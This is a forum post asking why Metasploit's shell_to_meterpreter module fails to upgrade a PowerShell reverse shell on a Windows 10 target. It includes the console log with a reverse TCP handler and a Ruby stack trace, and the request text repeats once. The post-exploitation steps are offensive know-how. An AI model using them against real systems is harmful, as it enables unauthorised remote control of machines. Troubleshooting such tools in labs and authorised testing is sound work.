Hello Friends......I have run into something that I have been trying to find awnsers for..... I am trying to upgrade a PS reverse shell to meterpreter on a windows 10 target. Better if I can post as I don't know what to say or ask.
Any assistance would be greatly appreciated !!!!!! The reference I have used are for netcat reverse shells. Is the powershell reverse shell the problem instead for a netcat reverse shell..............Very frustrating it is!!!!
Thanks so much!!
Code
msf5 post(multi/manage/shell_to_meterpreter) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.XXX.XXX:4433
[-] Post failed: NoMethodError undefined method `reverse!' for nil:NilClass
[-] Call stack:
[-] /usr/share/metasploit-framework/lib/msf/core/session/provider/single_command_shell.rb:136:in `shell_command_token_win32'
[-] /usr/share/metasploit-framework/lib/msf/base/sessions/command_shell.rb:774:in `shell_command_token'
[-] /usr/share/metasploit-framework/lib/msf/core/post/common.rb:147:in `cmd_exec'
[-] /usr/share/metasploit-framework/lib/msf/core/post/windows/powershell.rb:32:in `have_powershell?'
[-] /usr/share/metasploit-framework/modules/post/multi/manage/shell_to_meterpreter.rb:161:in `run'Any assistance would be greatly appreciated !!!!!! The reference I have used are for netcat reverse shells. Is the powershell reverse shell the problem instead for a netcat reverse shell..............Very frustrating it is!!!!
Thanks so much!!


![[Image: 6b16a47a60e1.png]](https://cdn.imgchest.com/files/6b16a47a60e1.png)

![[Image: otioqRQ.png]](https://i.imgur.com/otioqRQ.png)